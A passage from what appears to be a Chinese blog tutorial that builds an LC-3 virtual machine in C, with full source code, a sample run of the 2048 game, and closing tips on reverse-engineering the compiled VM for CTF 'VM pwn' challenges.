  • LC-3 中的内存位置为16位,因此字符串中的每个字符的宽度为16位,想要使用C函数显示它,我们需要将每个值转换为 char 并单独输出它们

其他的例程都与之类似,用C代码很好实现

Loading programs 加载程序

当汇编程序转换为机器代码时,结果是一个包含指令和数据数组的文件,这可以通过将内容直接复制到内存中的地址来加载

程序文件的前16位指定程序应启动的内存地址(此地址称为 origin),必须首先读取它,然后从源地址开始将其余数据从文件读取到内存中

以下是将 LC-3 程序读入内存的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void read_image_file(FILE* file)
{
uint16_t origin;
fread(&origin, sizeof(origin), 1, file);
origin = swap16(origin);

uint16_t max_read = MEMORY_MAX - origin;
uint16_t* p = memory + origin;
size_t read = fread(p, sizeof(uint16_t), max_read, file);

while (read-- > 0)
{
*p = swap16(*p);
++p;
}
}
  • LC-3 程序是大端序的,但大多数现代计算机都是小端序的
  • 因此,我们需要调用 swap16 交换每个加载的内容
1
2
3
4
uint16_t swap16(uint16_t x)
{
return (x << 8) | (x >> 8);
}

Memory mapped registers 内存映射寄存器

某些特殊寄存器无法从普通寄存器表访问,相反,在内存中为他们保留了一个特殊地址,要读取和写入这些寄存器,只需读取和写入它们的内存位置

  • 它们被称为内存映射寄存器 Memory mapped registers,它们通常用于与特殊硬件设备进行交互

LC-3有两个需要实现的 Memory mapped registers:

  • 键盘状态寄存器 KBSR:标识键盘是“按下”还是“弹起”
  • 键盘数据寄存器 KBDR:记录按下的键盘数据
1
2
3
4
5
enum
{
MR_KBSR = 0xFE00, /* keyboard status */
MR_KBDR = 0xFE02 /* keyboard data */
};
  • Memory mapped registers 使内存访问稍微复杂一些:
    • 不能直接读取和写入内存数组,而是必须调用 settergetter 函数
    • 当从 KBSR 中读取内存时,getter 将检查键盘并更新两个内存位置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void mem_write(uint16_t address, uint16_t val)
{
memory[address] = val;
}

uint16_t mem_read(uint16_t address)
{
if (address == MR_KBSR)
{
if (check_key())
{
memory[MR_KBSR] = (1 << 15);
memory[MR_KBDR] = getchar();
}
else
{
memory[MR_KBSR] = 0;
}
}
return memory[address];
}

Platform specifics 平台细节

本节包含访问键盘和表现良好的一些繁琐细节,这些与了解 VM 没有见地或相关(随意复制粘贴)

这些函数应该在主函数上方声明

Linux/macOS/UNIX:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
struct termios original_tio;

void disable_input_buffering()
{
tcgetattr(STDIN_FILENO, &original_tio);
struct termios new_tio = original_tio;
new_tio.c_lflag &= ~ICANON & ~ECHO;
tcsetattr(STDIN_FILENO, TCSANOW, &new_tio);
}

void restore_input_buffering()
{
tcsetattr(STDIN_FILENO, TCSANOW, &original_tio);
}

uint16_t check_key()
{
fd_set readfds;
FD_ZERO(&readfds);
FD_SET(STDIN_FILENO, &readfds);

struct timeval timeout;
timeout.tv_sec = 0;
timeout.tv_usec = 0;
return select(1, &readfds, NULL, NULL, &timeout) != 0;
}
1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <stdint.h>
#include <signal.h>
/* unix only */
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/termios.h>
#include <sys/mman.h>

Windows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
HANDLE hStdin = INVALID_HANDLE_VALUE;
DWORD fdwMode, fdwOldMode;

void disable_input_buffering()
{
hStdin = GetStdHandle(STD_INPUT_HANDLE);
GetConsoleMode(hStdin, &fdwOldMode); /* save old mode */
fdwMode = fdwOldMode
^ ENABLE_ECHO_INPUT /* no input echo */
^ ENABLE_LINE_INPUT; /* return when one or
more characters are available */
SetConsoleMode(hStdin, fdwMode); /* set new mode */
FlushConsoleInputBuffer(hStdin); /* clear buffer */
}

void restore_input_buffering()
{
SetConsoleMode(hStdin, fdwOldMode);
}

uint16_t check_key()
{
return WaitForSingleObject(hStdin, 1000) == WAIT_OBJECT_0 && _kbhit();
}
1
2
3
4
5
6
#include <stdio.h>
#include <stdint.h>
#include <signal.h>
/* windows only */
#include <Windows.h>
#include <conio.h> // _kbhit

All platforms:

为了正确处理终端的输入,我们需要调整一些缓冲设置,这些平台的实现因每个平台而异,应该已在上面定义

  • 在 main 中循环开始时写入如下代码:
1
2
signal(SIGINT, handle_interrupt); /* 设置信号处理程序 */
disable_input_buffering(); /* 禁用输入缓冲区 */
  • 如果我们收到结束程序的信号,也应该恢复设置
1
2
3
4
5
6
7
void handle_interrupt(int signal)
{
restore_input_buffering(); /* 将终端设置恢复正常 */
printf("\n");
exit(-2);
}

  • 在 main 中循环结束时写入如下代码:
1
restore_input_buffering();

到目前为止,我们编写的所有内容都应按以下顺序添加到 C 文件中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@{Includes}

@{Registers}
@{Condition Flags}
@{Opcodes}

@{Memory Mapped Registers}
@{TRAP Codes}

@{Memory Storage}
@{Register Storage}

@{Input Buffering}
@{Handle Interrupt}
@{Sign Extend}
@{Swap}
@{Update Flags}
@{Read Image File}
@{Read Image}
@{Memory Access}

@{Main Loop}

Running the VM 启动虚拟机

现在可以构建并运行 LC-3 虚拟机了:

  • 编译虚拟机
1
gcc lc3.c -o lc3-vm
  • 下载 2048 或 Rogue 的组装版本
  • 使用 .obj 文件作为参数运行 VM
1
lc3-vm path/to/2048.obj

调试 Debugging:

如果程序无法正常工作,则可能是因为您错误地编写了指令,调试起来可能很棘手

我建议通读 LC-3 程序的汇编源代码,同时使用调试器逐个执行 VM 指令,读取程序集时,请确保 VM 转到预期指令,如果出现差异,您将知道是哪个指令导致了问题,重新阅读其规范并仔细检查您的代码

Full VM code 完整虚拟机代码

本人只是把如下文章中的代码拼接到了一起

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
/* Includes */
#include <stdio.h>
#include <stdint.h>
#include <signal.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/termios.h>
#include <sys/mman.h>

/* Registers */
enum
{
R_R0 = 0,
R_R1,
R_R2,
R_R3,
R_R4,
R_R5,
R_R6,
R_R7,
R_PC,
R_COND,
R_COUNT
};

/* Condition Flags */
enum
{
FL_POS = 1 << 0,
FL_ZRO = 1 << 1,
FL_NEG = 1 << 2,
};

/* Opcodes */
enum
{
OP_BR = 0,
OP_ADD,
OP_LD,
OP_ST,
OP_JSR,
OP_AND,
OP_LDR,
OP_STR,
OP_RTI,
OP_NOT,
OP_LDI,
OP_STI,
OP_JMP,
OP_RES,
OP_LEA,
OP_TRAP
};

/* Memory Mapped Registers */
enum
{
MR_KBSR = 0xFE00,
MR_KBDR = 0xFE02
};

/* TRAP Codes */
enum
{
TRAP_GETC = 0x20,
TRAP_OUT = 0x21,
TRAP_PUTS = 0x22,
TRAP_IN = 0x23,
TRAP_PUTSP = 0x24,
TRAP_HALT = 0x25
};

/* Memory Storage */
#define MEMORY_MAX (1 << 16)
uint16_t memory[MEMORY_MAX];

/* Register Storage */
uint16_t reg[R_COUNT];

/* Input Buffering */
struct termios original_tio;

void disable_input_buffering()
{
tcgetattr(STDIN_FILENO, &original_tio);
struct termios new_tio = original_tio;
new_tio.c_lflag &= ~ICANON & ~ECHO;
tcsetattr(STDIN_FILENO, TCSANOW, &new_tio);
}

void restore_input_buffering()
{
tcsetattr(STDIN_FILENO, TCSANOW, &original_tio);
}

uint16_t check_key()
{
fd_set readfds;
FD_ZERO(&readfds);
FD_SET(STDIN_FILENO, &readfds);

struct timeval timeout;
timeout.tv_sec = 0;
timeout.tv_usec = 0;
return select(1, &readfds, NULL, NULL, &timeout) != 0;
}

/* Handle Interrupt */
void handle_interrupt(int signal)
{
restore_input_buffering();
printf("\n");
exit(-2);
}

/* Sign Extend */
uint16_t sign_extend(uint16_t x, int bit_count)
{
if ((x >> (bit_count - 1)) & 1) {
x |= (0xFFFF << bit_count);
}
return x;
}

/* Swap */
uint16_t swap16(uint16_t x)
{
return (x << 8) | (x >> 8);
}

/* Update Flags */
void update_flags(uint16_t r)
{
if (reg[r] == 0)
{
reg[R_COND] = FL_ZRO;
}
else if (reg[r] >> 15)
{
reg[R_COND] = FL_NEG;
}
else
{
reg[R_COND] = FL_POS;
}
}

/* Read Image File */
void read_image_file(FILE* file)
{
uint16_t origin;
fread(&origin, sizeof(origin), 1, file);
origin = swap16(origin);

uint16_t max_read = MEMORY_MAX - origin;
uint16_t* p = memory + origin;
size_t read = fread(p, sizeof(uint16_t), max_read, file);

while (read-- > 0)
{
*p = swap16(*p);
++p;
}
}

/* Read Image */
int read_image(const char* image_path)
{
FILE* file = fopen(image_path, "rb");
if (!file) { return 0; };
read_image_file(file);
fclose(file);
return 1;
}

/* Memory Access */
void mem_write(uint16_t address, uint16_t val)
{
memory[address] = val;
}

uint16_t mem_read(uint16_t address)
{
if (address == MR_KBSR)
{
if (check_key())
{
memory[MR_KBSR] = (1 << 15);
memory[MR_KBDR] = getchar();
}
else
{
memory[MR_KBSR] = 0;
}
}
return memory[address];
}

/* Key instructions */
void ADD(uint16_t instr)
{
uint16_t r0 = (instr >> 9) & 0x7;
uint16_t r1 = (instr >> 6) & 0x7;
uint16_t imm_flag = (instr >> 5) & 0x1;

if (imm_flag)
{
uint16_t imm5 = sign_extend(instr & 0x1F, 5);
reg[r0] = reg[r1] + imm5;
}
else
{
uint16_t r2 = instr & 0x7;
reg[r0] = reg[r1] + reg[r2];
}

update_flags(r0);
}

void LDI(uint16_t instr)
{
uint16_t r0 = (instr >> 9) & 0x7;
uint16_t pc_offset = sign_extend(instr & 0x1FF, 9);

reg[r0] = mem_read(mem_read(reg[R_PC] + pc_offset));
update_flags(r0);
}

void RTI(uint16_t instr)
{
abort();
}

void RES(uint16_t instr)
{
abort();
}

void AND(uint16_t instr)
{
uint16_t r0 = (instr >> 9) & 0x7;
uint16_t r1 = (instr >> 6) & 0x7;
uint16_t imm_flag = (instr >> 5) & 0x1;

if (imm_flag)
{
uint16_t imm5 = sign_extend(instr & 0x1F, 5);
reg[r0] = reg[r1] & imm5;
}
else
{
uint16_t r2 = instr & 0x7;
reg[r0] = reg[r1] & reg[r2];
}
update_flags(r0);
}

void NOT(uint16_t instr)
{
uint16_t r0 = (instr >> 9) & 0x7;
uint16_t r1 = (instr >> 6) & 0x7;

reg[r0] = ~reg[r1];
update_flags(r0);
}

void BR(uint16_t instr)
{
uint16_t pc_offset = sign_extend(instr & 0x1FF, 9);
uint16_t cond_flag = (instr >> 9) & 0x7;
if (cond_flag & reg[R_COND])
{
reg[R_PC] += pc_offset;
}
}

void JMP(uint16_t instr)
{
uint16_t r1 = (instr >> 6) & 0x7;
reg[R_PC] = reg[r1];
}

void JSR(uint16_t instr)
{
uint16_t long_flag = (instr >> 11) & 1;
reg[R_R7] = reg[R_PC];
if (long_flag)
{
uint16_t long_pc_offset = sign_extend(instr & 0x7FF, 11);
reg[R_PC] += long_pc_offset; /* JSR */
}
else
{
uint16_t r1 = (instr >> 6) & 0x7;
reg[R_PC] = reg[r1]; /* JSRR */
}
}

void LD(uint16_t instr)
{
uint16_t r0 = (instr >> 9) & 0x7;
uint16_t pc_offset = sign_extend(instr & 0x1FF, 9);
reg[r0] = mem_read(reg[R_PC] + pc_offset);
update_flags(r0);
}

void LDR(uint16_t instr)
{
uint16_t r0 = (instr >> 9) & 0x7;
uint16_t r1 = (instr >> 6) & 0x7;
uint16_t offset = sign_extend(instr & 0x3F, 6);
reg[r0] = mem_read(reg[r1] + offset);
update_flags(r0);
}

void LEA(uint16_t instr)
{
uint16_t r0 = (instr >> 9) & 0x7;
uint16_t pc_offset = sign_extend(instr & 0x1FF, 9);
reg[r0] = reg[R_PC] + pc_offset;
update_flags(r0);
}

void ST(uint16_t instr)
{
uint16_t r0 = (instr >> 9) & 0x7;
uint16_t pc_offset = sign_extend(instr & 0x1FF, 9);
mem_write(reg[R_PC] + pc_offset, reg[r0]);
}

void STI(uint16_t instr)
{
uint16_t r0 = (instr >> 9) & 0x7;
uint16_t pc_offset = sign_extend(instr & 0x1FF, 9);
mem_write(mem_read(reg[R_PC] + pc_offset), reg[r0]);
}

void STR(uint16_t instr)
{
uint16_t r0 = (instr >> 9) & 0x7;
uint16_t r1 = (instr >> 6) & 0x7;
uint16_t offset = sign_extend(instr & 0x3F, 6);
mem_write(reg[r1] + offset, reg[r0]);
}

void TRAP(uint16_t instr,int *running)
{
uint16_t* c;
reg[R_R7] = reg[R_PC];

switch (instr & 0xFF)
{
case TRAP_GETC:
{
reg[R_R0] = (uint16_t)getchar();
update_flags(R_R0);
break;
}
case TRAP_OUT:
{
putc((char)reg[R_R0], stdout);
fflush(stdout);
break;
}
case TRAP_PUTS:
{
c = memory + reg[R_R0];
while (*c)
{
putc((char)*c, stdout);
++c;
}
fflush(stdout);
break;
}
case TRAP_IN:
{
printf("Enter a character: ");
char ch = getchar();
putc(ch, stdout);
fflush(stdout);
reg[R_R0] = (uint16_t)ch;
update_flags(R_R0);
break;
}
case TRAP_PUTSP:
{
c = memory + reg[R_R0];
while (*c)
{
char char1 = (*c) & 0xFF;
putc(char1, stdout);
char char2 = (*c) >> 8;
if (char2) putc(char2, stdout);
++c;
}
fflush(stdout);
break;
}
case TRAP_HALT:
{
puts("HALT");
fflush(stdout);
*running = 0;
}
}
}

/* Main Loop */
int main(int argc, const char* argv[])
{
if (argc < 2)
{
printf("lc3 [image-file1] ...\n");
exit(2);
}

for (int j = 1; j < argc; ++j)
{
if (!read_image(argv[j]))
{
printf("failed to load image: %s\n", argv[j]);
exit(1);
}
}
signal(SIGINT, handle_interrupt);
disable_input_buffering();

reg[R_COND] = FL_ZRO;

enum { PC_START = 0x3000 };
reg[R_PC] = PC_START;

int running = 1;
while (running)
{
uint16_t instr = mem_read(reg[R_PC]++);
uint16_t op = instr >> 12;

switch (op)
{
case OP_ADD:
ADD(instr);
break;
case OP_AND:
AND(instr);
break;
case OP_NOT:
NOT(instr);
break;
case OP_BR:
BR(instr);
break;
case OP_JMP:
JMP(instr);
break;
case OP_JSR:
JSR(instr);
break;
case OP_LD:
LD(instr);
break;
case OP_LDI:
LDI(instr);
break;
case OP_LDR:
LDR(instr);
break;
case OP_LEA:
LEA(instr);
break;
case OP_ST:
ST(instr);
break;
case OP_STI:
STI(instr);
break;
case OP_STR:
STR(instr);
break;
case OP_TRAP:
TRAP(instr,&running);
break;
case OP_RES:
case OP_RTI:
default:
abort();
break;
}
}
restore_input_buffering();
}

尝试编译该代码并运行目标程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
➜  vm gcc lc3.c -o lc3-vm
➜ vm ./lc3-vm ./2048.obj
Control the game using WASD keys.
Are you on an ANSI terminal (y/n)? n
+--------------------------+
| |
| 2 |
| |
| |
| |
| |
| |
| 2 |
| |
+--------------------------+

Reverse the VM 逆向虚拟机

此虚拟机被编译为了3个版本:

  • 正常版本
  • debug 版本
  • 去符号版本

正常版本和 debug 版本只有一些全局变量的差别:

去符号版本的逆向难度要大一些:

总体的逆向思路就是:

  • 先找到 Switch-Case 循环,并确定每条指令的长度
  • 找到存放寄存器的全局变量,判断各个寄存器个数/位置/功能
  • 分析 Switch-Case 的各个分支,弄懂大概的功能,并了解指令中各个位的用途

在 VM pwn 中要多多注意带有 Read/Write 的指令(重点看有没有溢出)